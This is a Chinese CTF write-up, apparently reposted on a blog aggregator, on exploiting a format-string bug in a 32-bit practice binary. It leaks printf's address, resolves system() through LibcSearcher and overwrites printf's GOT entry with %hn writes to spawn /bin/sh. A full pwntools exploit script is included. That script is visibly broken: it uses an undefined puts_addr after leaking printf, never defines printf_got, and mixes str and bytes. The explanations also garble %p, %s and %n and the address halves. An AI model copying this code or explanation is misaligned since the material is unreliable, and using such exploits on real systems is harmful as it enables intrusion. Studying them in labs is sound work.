格式化字符串之在栈上修改got表,执行system(“/bin/sh“)

news2024/12/26 23:05:22

题目自取:

链接:https://pan.baidu.com/s/1sZyC-d47cnrjQ0rmRNLbSg?pwd=iung 
提取码:iung

这是一题改got表的格式化字符串的例题
这里介绍下pwntools里的一个脚本

fmtstr_payload:
举个例子, payload = fmtstr_payload(7 , {printf_got : system_addr}) 其中,7 是格式化字符串中的第一个 %n 参数的位置;printf_gotsystem_addr 是两个地址,分别表示 printf 函数的全局偏移量表 (GOT) 地址和 system 函数地址。

writes 字典表示要写入的地址和数值对。在这个例子中,载荷将写入 printf_got 地址,并将其值更改为 system_addr。这将导致程序在下次调用 printf 时实际上调用 system

最后,载荷将被发送到目标主机,并用于攻击格式化字符串漏洞。如果执行成功,则程序将在调用 printf 函数时调用 system 函数,进而执行攻击者指定的命令。

checksec一下

 

非非非非常明显的格式化字符串漏洞,在IDA里看了,没有system函数,也无/bin/sh,因此我们自然想到改got 。

改got表可以利用pwntools的工具fmtstr_payload,但是这里我们会用常规的方法进行演示,讲清楚原理。

一般32位的要利用两次%hn来修改对应的地址(我也不知道为啥),用了%n就不工作了,奇奇怪怪。

我们gdb一下看看参数具体写入的位置,结果发现一个很坑的东西,也就是在第9个参数的位置,仅仅写入了3个'a',也就是说 ,第一个a被写在了第8个参数,这一点我们要非常小心。

讲一下思路:

大致思路就是去泄露printf的地址,然后利用libcsearcher去得到system的地址,然后把printf的got表的地址修改为system的地址,另外由于参数是由我们自行输入,因此参数可控,我们可以往参数写入/bin/sh.从而拿到shell

 那么如何去拿到libc的基地址呢?我们可以泄露出printf的真实地址。这里讲一下%p和%s的一个区别,简单来说,%p是将对应地址存的东西打印出来,而%n是将对应的地址作为指针索引,得到对应的内容。那么如果我们往参数写入了printf的got表的地址,我们如何能得到got表指向的内容呢,毫无疑问,我们将利用的是%s,去解引用got(我的理解是类似于指针解引用,不知对不对。)这样我们就可以获得printf的真实地址了。这里给一个例子

payload=b'%9$s'+b'a'+p32(elf.got['printf'])
io.sendline(payload)
io.recvuntil(b':')
printf_addr=u32(io.recv(4))

这样我们就获得到了printf的真实地址,再利用libcsearcher,我们就可以拿到system的真实地址了

libc=LibcSearcher('puts',puts_addr)
libcbase=puts_addr-libc.dump('puts')
system_addr=libcbase+libc.dump('system')

拿到system的地址后还没结束,记得我前面提到的,got表要分两次%hn修改,别问为什么,问就是不知道为啥 
所以我们需要把system的地址分成高八位和低八位

high_sys = (system_addr >> 16) & 0xffff
low_sys = system_addr & 0xffff

这里的右移16位就是向右移动4个字节,获得到high_sys的高4位地址

接下来就是改got啦,就是把got拉到栈上"公开处刑" 

payload2 = "a" + "%" + str(low_sys - 10) + "c%16$hn" + "%" + str(high_sys - low_sys) + "c%17$hn"
payload2 +=  "a" * 6 
payload2 += p32(printf_got) + p32(printf_got + 2)

注意!!!!!
之前我百思不得奇解,究竟为什么low_sys-10,这里要说明的是,例如printf("aaaa%100c%n",&a)
这个代码中,a的值是被修改为了104,因为在%100c之前,已经又有输出'aaaa'了,而%n写入的数值就是前面输出多少个字符,就往里写入多少的数值,因此这-10是因为

"Repeater:”这里有 9个字符,再加上栈平衡的一个'a',因此共10个。

完整的exp如下:

from pwn import *
context(os="linux", arch="i386",log_level="debug")
elf = ELF('./buu17')
io=process("./buu17")
from LibcSearcher import *
io.recv()
payload=b'%9$s'+b'a'+p32(elf.got['printf'])
io.sendline(payload)
io.recvuntil(b':')
printf_addr=u32(io.recv(4))
io.recv()
libc=LibcSearcher('puts',puts_addr)
libcbase=puts_addr-libc.dump('puts')
system_addr=libcbase+libc.dump('system')
bin_addr = libcbase + libc.dump('str_bin_sh')
high_sys = (system_addr >> 16) & 0xffff
low_sys = system_addr & 0xffff
payload = "a" + "%" + str(low_sys - 10) + "c%16$hn" + "%" + str(high_sys - low_sys) + "c%17$hn"
payload +=  "a" * 6 
payload+= p32(printf_got) + p32(printf_got + 2)
io.sendafter("Please tell me:",payload) 


payload = ';/bin/sh\x00'
io.sendafter("Please tell me:",payload)

io.interactive()

这里写入参数/bin/sh前加一个分号的原因是 ‘ ;’ 可以让system分别执行两条指令,这样就避开了前面字符的干扰("Repeater:"的干扰)

于是这一题就圆满结束啦! 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/390238.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

谷歌浏览器被hao123网页(或其他网页)劫持了,怎么办?(已解决)

文章目录1、前言2、解决方案2.1、方案一:删除目标内容2.2、方案二:修改浏览器启动时内容2.3、方案三:重命名2.4、方案四:修改WMI脚本2.5、方案五:火绒修复3、总结1、前言 今天打开chrome浏览器,莫名转到hao…

【CMU15-445数据库】bustub Project #2:B+ Tree(下)

Project 2 最后一篇,讲解 B 树并发控制的实现。说实话一开始博主以为这块内容不会很难(毕竟有 Project 1 一把大锁摆烂秒过的历史x),但实现起来才发现不用一把大锁真的极其痛苦,折腾了一周多才弄完。 本文分基础版算法…

【uni-app教程】八、UniAPP Vuex 状态管理

八、UniAPP Vuex 状态管理 概念 Vuex 是一个专为 Vue.js 应用程序开发的状态管理模式。它采用集中式存储管理应用的所有组件的状态,并以相应的规则保证状态以一种可预测的方式发生变化。 应用场景 Vue多个组件之间需要共享数据或状态。 关键规则 State&#xff1a…

Linux系统配置nginx

下载安装包wget -c http://nginx.org/download/nginx-1.19.1.tar.gz安装gcc安装包yum install gcc-c安装pre-devel依赖库yum -y install pcre-devel安装openssl依赖库yum -y install openssl openssl-devel解压tar -zxvf 目录名 nginx-1.23.1.tar.gz -C 另外一个目录&#xff0…

QT配置安卓环境(保姆级教程)

目录 下载环境资源 JDK1.8 NDK SDK ​安装QT 配置环境 下载环境资源 JDK1.8 介绍JDK是Java开发的核心工具,为Java开发者提供了一套完整的开发环境,包括开发工具、类库和API等,使得开发者可以高效地编写、测试和运行Java应用程序。 下载…

基于Vue3和element-plus实现一个完整的登录功能

先看一下最终要实现的效果:登录页面:注册页面:(1)引入element-plus组件库引入组件库的方式有好多种,在这里我就在main.js全局引入了.npm i element-plus -Smain.js中代码:import { createApp } from "vue"; //element-plus import ElementPlus from "element-pl…

Linux基础篇(七)-- 用户管理

1 创建普通用户 1、创建用户 在 Linux 系统里,root 账户(超级管理员)拥有整个系统至高无上的权限,比如新建和添加用户。一般我们登录系统时都是以普通账户的身份登录的,要创建用户需要 root 权限,…

项目:手把手实现高并发内存池

一.前言(一).项目简介高并发内存池(ConCurrentMemoryPool),其原型是google的开源项目tcmalloc。全称是thread-cache-malloc,即线程缓存malloc。应用场景是多线程环境下管理内存,相较于malloc库函…

Mysql数据库的(超详细)安装及环境变量的配置

一、 下载MySQL Mysql官网下载地址:https://downloads.mysql.com/archives/installer/ 1. 选择需要的版本点击Download进行下载 本篇文章选择的8.0.26版本 二、 安装MySQL 1. 选择设置类型 双击运行mysql-installer-community-8.0.26.msi,这里选择是…

GoldenGate(OGG)高可用XAG介绍

XAG介绍: Oracle Grid Infrastructure提供了高可用组件去管理实现集群上面服务的高可用,Oracle Grid Infrastructure agent(XAG)是Oracle Grid Infrastructure的一个管理组件,通过接口AGCTL在Oracle RAC集群上为应用程序(GoldenG…

【14】linux命令每日分享——userdel删除账号

大家好,这里是sdust-vrlab,Linux是一种免费使用和自由传播的类UNIX操作系统,Linux的基本思想有两点:一切都是文件;每个文件都有确定的用途;linux涉及到IT行业的方方面面,在我们日常的学习中&…

Visual Studio 高级调试-企业版三大特性

前言前面两篇博客主要介绍了Visual Studio 高级调试-代码调试和Visual Studio 高级调试-Dump分析,这几篇博客的目的都是为了帮助大家更好的认识和使用Visual Studio,Visual Studio企业版订阅价格为每月250美元,很多同学想知道企业版有哪些特别…

IsADirectoryError: [Errno 21] Is a directory: ‘.‘

项目场景: 基于YOLOv5的室内场景识别 工具:colab 问题描述 Traceback (most recent call last): File “train.py”, line 630, in main(opt) File “train.py”, line 494, in main d torch.load(last, map_location‘cpu’)[‘opt’] File “/usr/…

docker(三)仓库的搭建、官方私有仓库的加密和认证

文章目录一、docker仓库二、仓库Registry工作原理三、搭建本地私有仓库四、配置镜像加速器五、私有仓库的加密认证1.非加密下上传拉取2.insecure registry3.仓库加密4.仓库认证一、docker仓库 什么是仓库 Docker 仓库是用来包含镜像的位置,Docker提供一个注册服务器…

QML集成JavaScript

在QML中可以使用现有的QML元素来创建页面,但QML紧密的集成了必要的JavaScript。 但QML中使用JavaScript比较严格,在QML中不可以添加或修改JavaScript全局对象成员,这样可能会使用一个未经声明的变量。 内联JavaScript 一些小型的JavaScript函…

动态规划 背包问题

动态规划 背包问题 问题描述: 有一个背包,总容量为12。有6件物品,每件物品的重量和价值不同,求在背包总容量12的前提下,装进物品的最大价值以及装进物品的编号 单个物品重量和价值: 为方便进行思考&#…

06、Eclipse 中使用 SVN

Eclipse 中使用 SVN1 在 Eclipse 中安装 SVN 客户端插件1.1 在线安装1.2 离线安装2 SVN 在 Eclipse 分享3 检出提交更新3.1 检出3.2 提交3.3 更新4 Eclipse 中 SVN 图标及其含义4.1 ?图标4.2 图标4.3 金色圆柱图标4.4 * 图标5 恢复历史版本5.1 恢复步骤5.2 权限控制…

ks通过恶意低绩效来变相裁员(二)对cy的反套路怎么做

目录 你被cy的概率有多大 反套路1:直接接受,并拿补偿走人 反套路2:继续留在公司 反套路3:直接仲裁公司 仲裁诉求要一次性写全全部诉求 你被cy的概率有多大 既然,互联网寒冬下人人都可能无法幸免于cy(当然了&#…

A Simple Framework for Contrastive Learning of Visual Representations阅读笔记

论文地址:https://arxiv.org/pdf/2002.05709.pdf 目前流行的无监督学范式。通过训练,使模型拥有比较的能力。即,模型能够区别两个数据(instance)是否是相同的。这在 深度聚类 领域受到广泛的关注。(在有监…

总线(四)Modbus总线 协议

文章目录Modbus技术背景Modbus OSI分布Moudbus分类通讯过程Moudbus协议通信过程以及报文解析RTU 与 ASCII 收发数据区别Modbus技术背景 Modbus是一种串行通信协议。 1971年,Modicon公司首次退出Modbus协议,ModbusRTU和Modbus ASCII诞生于此。 后来施耐德…